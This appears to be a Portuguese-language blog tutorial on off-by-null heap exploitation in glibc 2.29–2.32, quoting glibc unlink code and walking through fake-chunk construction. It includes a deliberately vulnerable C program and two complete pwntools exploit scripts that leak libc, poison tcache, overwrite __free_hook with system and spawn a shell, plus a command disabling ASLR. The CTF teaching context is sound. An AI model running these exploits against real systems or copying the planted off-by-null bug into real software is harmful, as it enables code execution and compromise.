Exploração de Vulnerabilidades Off-by-null em Versões Recentes do glibc

Resumo de Técnicas Off-by-null em Versões Altas do glibc (2.29-2.32)

Primeiramente, é importante notar que as técnicas off-by-one em versões recentes do glibc (2.29-2.32) estão se tornando menos aplicáveis, pois métodos alternativos mais convenientes com menos restrições estão disponíveis, como House of Apple, House of Banana, contornos do mecanismo Safe-Linking, e ataques tcache stashing unlink. Recomenda-se começar com métodos não-exploratórios para melhor compreensão da heap.

Evolução do Unlink em Diferentes Versões

Versão Anterior à 2.23

void unlink(P, BK, FD) {
    FD = P->fd;
    BK = P->bk;
    FD->bk = BK;
    BK->fd = FD;
}

Versão 2.23

O unlink foi modificado com verificações adicionais:

#define unlink(AV, P, BK, FD) {
    FD = P->fd;
    BK = P->bk;
    // Nova verificação como mostrado na figura
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
        malloc_printerr (check_action, "corrupted double-linked list", P, AV);
    else {
        FD->bk = BK;
        BK->fd = FD;
        if (!in_smallbin_range (P->size)
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {
            if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) 
                malloc_printerr (check_action,
                                 "corrupted double-linked list (not small)",
                                 P, AV);
            if (FD->fd_nextsize == NULL) {
                if (P->fd_nextsize == P)
                    FD->fd_nextsize = FD->bk_nextsize = FD;
                else {
                    FD->fd_nextsize = P->fd_nextsize;
                    FD->bk_nextsize = P->bk_nextsize;
                    P->fd_nextsize->bk_nextsize = FD;
                    P->bk_nextsize->fd_nextsize = FD;
                }
            } else {
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;
            }
        }
    }
}

Versão 2.27

O unlink foi transformado em função, mas a lógica permaneceu similar:

#define unlink(AV, P, BK, FD) {
    FD = P->fd;
    BK = P->bk;
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
        malloc_printerr ("corrupted double-linked list");
    else {
        FD->bk = BK;
        BK->fd = FD;
        if (!in_smallbin_range (chunksize_nomask (P))
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {
            if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
                malloc_printerr ("corrupted double-linked list (not small)");
            if (FD->fd_nextsize == NULL) {
                if (P->fd_nextsize == P)
                    FD->fd_nextsize = FD->bk_nextsize = FD;
                else {
                    FD->fd_nextsize = P->fd_nextsize;
                    FD->bk_nextsize = P->bk_nextsize;
                    P->fd_nextsize->bk_nextsize = FD;
                    P->bk_nextsize->fd_nextsize = FD;
                }
            } else {
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;
            }
        }
    }
}

A lógica de fusão permaneceu inalterada:

if (!prev_inuse(p)) {
    prevsize = prev_size (p);
    size += prevsize;
    p = chunk_at_offset(p, -((long) prevsize));
    unlink(av, p, bck, fwd);
}
/* consolidate forward */
if (!nextinuse) {
    unlink(av, nextchunk, bck, fwd);
    size += nextsize;
} else
    clear_inuse_bit_at_offset(nextchunk, 0);

Nas versões anteriores à 2.27, a exploração era feita modificando apenas o prev_size e prev_inuse.

Versão 2.29

Versões aplicáveis: 2.29, 2.32

Pré-requisitos:

A função unlink foi modificada com uma verificação adicional:

static void unlink_chunk (mstate av, mchunkptr p)
{
    if (chunksize (p) != prev_size (next_chunk (p)))
        malloc_printerr ("corrupted size vs. prev_size");

    mchunkptr fd = p->fd;
    mchunkptr bk = p->bk;

    if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
        malloc_printerr ("corrupted double-linked list");

    fd->bk = bk;
    bk->fd = fd;
    if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
    {
        if (p->fd_nextsize->bk_nextsize != p || p->bk_nextsize->fd_nextsize != p)
            malloc_printerr ("corrupted double-linked list (not small)");

        if (fd->fd_nextsize == NULL)
        {
            if (p->fd_nextsize == p)
                fd->fd_nextsize = fd->bk_nextsize = fd;
            else
            {
                fd->fd_nextsize = p->fd_nextsize;
                fd->bk_nextsize = p->bk_nextsize;
                p->fd_nextsize->bk_nextsize = fd;
                p->bk_nextsize->fd_nextsize = fd;
            }
        }
        else
        {
            p->fd_nextsize->bk_nextsize = p->bk_nextsize;
            p->bk_nextsize->fd_nextsize = p->fd_nextsize;
        }
    }
}

Mudanças na consolidação:

O processo de fusão foi modificado para incluir uma verificação de tamanho:

/* consolidate backward */
if (!prev_inuse(p)) {
    prevsize = prev_size (p);
    size += prevsize;
    p = chunk_at_offset(p, -((long) prevsize));
    
    // Nova proteção
    if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr ("corrupted size vs. prev_size while consolidating");
    unlink_chunk (av, p);
}

/* consolidate forward */
if (!nextinuse) {
    unlink_chunk (av, nextchunk);
    size += nextsize;
} else
    clear_inuse_bit_at_offset(nextchunk, 0);

Para explorar off-by-null nessas versões, é necessário criar um chunk falso que satisfaça as novas verificações.

Método de Força Bruta

  1. Criar preenchimento para elevar o endereço do chunk, garantindo que o segundo byte seja \x00 (probabilidade 1/16).
  2. Fazer o chunk entrar no large bin para usar seu ponteiro next (que aponta para si mesmo quando é o único chunk no large bin).
  3. Alocar chunks do fast bin e manipular ponteiros para construir o ambiente necessário.
  4. Explorar vulnerabilidade UAF para modificar o ponteiro bk do chunk no small bin.
  5. Requisitar o chunk falso e modificar o ponteiro fd do chunk original.

Desvantagem: Requer restrições específicas de tamanho para usar o fast bin.

Estudo de Caso: happyending

Antes da depuração, desative o ASLR:

su
# Digite a senha root
echo 0 > /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space
# 0

Estratégia:

  1. Elevar o endereço para que o segundo byte seja 0 (chunk a).
  2. Construir um chunk falso, considerando a necessidade de contornar a verificação de lista duplamente ligada do unlink.
  3. Manipular ponteires residuais para contornar o unlink posteriormente.
  4. Explorar a vulnerabilidade off-by-null para adicionar o chunk falso ao unsorted bin.
  5. Validar a sobreposição de chunks e obter execução de código.

Exemplo de Exploit:

from tools import*
context.log_level ='DEBUG'

def novo(tamanho,conteudo):
    p.sendlineafter('>\n','1')
    p.sendlineafter('length :',str(tamanho))
    p.sendafter('them!',conteudo)

def liberar(indice):
    p.sendlineafter('>','2')
    p.sendlineafter('debuff :',str(indice))

def mostrar(indice):
    p.sendlineafter('>','3')
    p.sendlineafter('blessing :',str(indice))

p,e,libc=load('pwn')

add_p=0x129E
delete_p=0x1415
write_p=0x1547

# Preenchimento inicial
for i in range(4):   
    novo(0x1000,'FMYY')

# Chunk com endereço modificado
novo(0x1000-0x3E0,'FMYY') 

# Configuração large bin
for i in range(7):   
    novo(0x28,'FMYY')

novo(0xB20,'FALSO')   
novo(0x10,'FMYY')  
liberar(12)   

novo(0x1000,'FMYY')  

novo(0x28,p64(0) + p64(0x521) + b'\x40') 

# Configuração small bin
novo(0x28,'F') 
novo(0x28,'M') 
novo(0x28,'Y') 
novo(0x28,'Y') 

for i in range(7): 
    liberar(5+i)

liberar(17)   
liberar(15)

for i in range(7):   
    novo(0x28,'FMYY')

novo(0x400,'FMYY')  

novo(0x28,p64(0) + b'\x20')     
novo(0x28,'limpar')

for i in range(7):   
    liberar(5 + i)

liberar(16)   
liberar(14)

for i in range(7):  
    novo(0x28,'FMYY')

novo(0x28,'\x20')   
novo(0x28,'limpar')

novo(0x28,'Alvo') 
novo(0x5F8,'Ultimo')  
liberar(20)
novo(0x28,b'\x00'*0x20 + p64(0x520))

liberar(21)     
debug(p,'pie',add_p,delete_p,write_p)
novo(0x40,'aaaaaaa')     
mostrar(16)

libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,b'\x00')) - 0x70- libc.sym['__malloc_hook']
log_addr('libc_base')

liberar_hook = libc_base + libc.sym['__free_hook']
sistema = libc_base + libc.sym['system']
liberar(21)     
liberar(14)

novo(0x28,b'\x00'*0x10 + p64(liberar_hook))   

novo(0x40,'/bin/sh\x00')     
novo(0x40,p64(sistema))

liberar(21)
p.interactive()

Versão Melhorada

Este método utiliza apenas large bin e unsorted bin, diferindo do anterior pelo tamanho dos chunks A e B no large bin.

Cenário de configuração concluído:

  • falso->fd=A, A->bk=falso
  • falso->bk=B, B->fd=falso

Explicação da técnica:

  1. Alocar três chunks A, B0 e C0, com C0 tendo o último byte do endereço como \x00.
  2. Configurar prev->fd_next=A e prev->bk_next=B (fazendo com que prev, A e B entrem no large bin).
  3. Requisitar prev novamente e falsificar o chunk.
  4. Modificar o prev_size do victim.
  5. Manipular os ponteiros A e B para satisfazer as condições do unlink.

Método Não-Exploratório

A principal diferença em relação ao método de força bruta é a direção da fusão:

  • Método de força bruta: Fusão descendente (para endereços mais baixos), exigindo modificação de pelo menos dois bytes e necessitando de força bruta.
  • Método não-exploratório: Fusão ascendente (para endereços mais altos), permitindo modificar apenas o último byte do ponteiro para \x00, sem necessidade de força bruta.

Processo de depuração:

  1. Layout do chunk com C0 tendo o último byte do endereço como \x00.
  2. Confgiurar a lista ligada usando unsorted bin.
  3. Modificar o tamanho de C0 alocando um chunk maior que B0 por 0x20.
  4. Configurar os ponteiros fd e bk do chunk falso.
  5. Explorar a vulnerabilidade off-by-null para acionar a fusão.

Exemplo de Código Fonte:

#include<stdio.h>
struct bloco{
    long *ponto;
    unsigned int tamanho;
}blocos[9];

void adicionar()
{
    unsigned int indice=0;
    unsigned int tamanho=0;
    puts("Índice:");
    scanf("%d",&indice);
    if(indice>=9)
    {
        puts("índice incorreto!");
        exit(0);
    }
    if(blocos[indice].ponto)
    {
        puts("já existe!");
        return ;
    }

    puts("Tamanho:");
    scanf("%d",&tamanho);
    blocos[indice].ponto=malloc(tamanho);
    blocos[indice].tamanho=tamanho;

    if(!blocos[indice].ponto)
    {
        puts("erro malloc!");
        exit(0);
    }

    char *p=blocos[indice].ponto;
    puts("Conteúdo:");
    p[read(0,blocos[indice].ponto,blocos[indice].tamanho)]=0;
}

void mostrar()
{
    unsigned int indice=0;
    puts("Índice:");
    scanf("%d",&indice);
    if(indice>=9)
    {
        puts("índice incorreto!");
        exit(0);
    }
    if(!blocos[indice].ponto)
    {
        puts("Está vazio!");
        exit(0);
    }
    puts(blocos[indice].ponto);
}

void editar()
{
    unsigned int indice;
    puts("Índice:");
    scanf("%d",&indice);
    if(indice>=9)
    {
        puts("índice incorreto!");
        exit(0);
    }
    if(!blocos[indice].ponto)
    {
        puts("Está vazio!");
        exit(0);
    }
    char *p=blocos[indice].ponto;
    puts("Conteúdo:");
    p[read(0,blocos[indice].ponto,blocos[indice].tamanho)]=0;
}

void deletar()
{
    unsigned int indice;
    puts("Índice:");
    scanf("%d",&indice);
    if(indice>=9)
    {
        puts("índice incorreto!");
        exit(0);
    }
    if(!blocos[indice].ponto)
    {
        puts("Está vazio!");
        exit(0);
    }

    free(blocos[indice].ponto);
    blocos[indice].ponto=0;
    blocos[indice].tamanho=0;
}

void menu()
{
    puts("(1) adicionar bloco");
    puts("(2) mostrar conteúdo");
    puts("(3) editar bloco");
    puts("(4) deletar bloco");
    puts(">");
}

void inicializar()
{
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
}

void main()
{
    inicializar();
    unsigned int opcao;
    puts("Bem-vindo ao novo caderno escolar.");
    while(1)
    {
        menu();
        scanf("%d",&opcao);
        switch(opcao)
        {
            case 1:
                adicionar();
                break;
            case 2:
                mostrar();
                break;
            case 3:
                editar();
                break;
            case 4:
                deletar();
                break;
            default:
                exit(0);
        }
    }
}

Exemplo de Exploit Não-Exploratório:

from tools import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')

p,e,libc=load('poc')

def escolha(opcao):    
    p.sendlineafter('>',str(opcao)) 

def escolher_indice(indice):
    p.sendlineafter("Índice:\n", str(indice))

def adicionar(indice,tamanho, conteudo='A'):
    escolha(1)
    escolher_indice(indice)
    p.sendlineafter("Tamanho:", str(tamanho))
    p.sendafter("Conteúdo:", conteudo)

def editar(indice,conteudo,completo=False):
    escolha(3)
    escolher_indice(indice)
    p.sendafter("Conteúdo:", conteudo)

def mostrar(indice):
    escolha(2)
    escolher_indice(indice)

def deletar(indice):
    escolha(4)
    escolher_indice(indice)

# =============================================
# Passo 1: P&0xff = 0
adicionar_p=0x9fe
deletar_p=0xD75 
editar_p=0xCA7
mostrar_p=0xB9F
adicionar(0,0x418, "A"*0x100) #0 A = P->fd
adicionar(1,0x108+0x40) #1 barreira
adicionar(2,0x438, "B0"*0x100) #2 B0 auxiliar
adicionar(3,0x438, "C0"*0x100) #3 C0 = P , P&0xff = 0
adicionar(4,0x108,'4'*0x100) #4 barreira
adicionar(5, 0x488, "H"*0x100) # H0. auxiliar para escrever bk->fd. bloco vítima.
adicionar(6,0x428, "D"*0x100) # 6 D = P->bk
adicionar(7,0x108) # 7 barreira

# =============================================
# Passo 2: usar unsortedbin para definir p->fd =A , p->bk=D
deletar(0) # A
deletar(3) # C0
deletar(6) # D
# unsortedbin: D-C0-A   C0->FD=A
deletar(2) # fusão B0 com C0. preservar p->fd p->bk

adicionar(2, 0x458, b'a' * 0x438 + p64(0x551)[:-2])  # colocar A,D no largebin, dividir BC. usar B1 para definir p->size=0x551

# Recuperação
adicionar(3,0x418)  # C1 do ub
adicionar(6,0x428)  # bk  D  do largebin
adicionar(0,0x418,b"0"*0x100)  # fd 	A do largein

# =============================================
# Passo 3: usar unsortedbin para definir fd->bk
# sobrescrita parcial fd -> bk 
deletar(0) # A=P->fd
deletar(3) # C1
# unsortedbin: C1-A ,   A->BK = C1
adicionar(0, 0x418, 'a' * 8)  # 2 sobrescrita parcial bk    A->bk = p
adicionar(3, 0x418)

# =============================================
# Passo 4: usar ub para definir bk->fd
deletar(3) # C1
deletar(6) # D=P->bk     
# ub-D-C1    D->FD = C1
deletar(5) # fusão D com H, preservar D->fd 
adicionar(6,0x500-8, b'6'*0x488 + p64(0x431)) # H1. bk->fd = p, escrita parcial \x00

adicionar(3, 0x3b0) # recuperação

# =============================================
# Passo 5: off by null
editar(4, 0x100*b'4' + p64(0x550))# off by null, definir fake_prev_size = 0x550, prev inuse=0
debug(p,'pie',adicionar_p,deletar_p,editar_p,mostrar_p)
deletar(6) # fusão H1 com C0. acionar sobreposição C0,4,6

# =============================================
# Passo 6: sobreposição 

adicionar(6,0x438) # colocar libc no bloco 4
# z()
mostrar(4) # libc
endereco_libc = u64(p.recv(6).ljust(8,b'\x00'))
base_libc = endereco_libc-0x1e4ca0
log_addr('endereco_libc')
log_addr('base_libc')

deletar(6) # consolidar
adicionar(6, 0x458, 0x438*b'6'+p64(0x111)) # corrigir tamanho para bloco 4. 6 sobrepondo 4

deletar(7) # tcache
deletar(4) # tcache

editar(6, 0x438*b'6'+p64(0x111)+p64(base_libc+libc.sym['__free_hook'])) # definir 4->fd= __free_hook

adicionar(7,0x108,'/bin/sh\x00')
adicionar(4,0x108,'/bin/sh\x00')
editar(4, p64(base_libc+libc.sym['system']))

deletar(7)

p.interactive()

Tags: glibc heap-exploitation off-by-null unlink-attack tcache-poisoning

Publicado em 6-5 04:56 por Thomas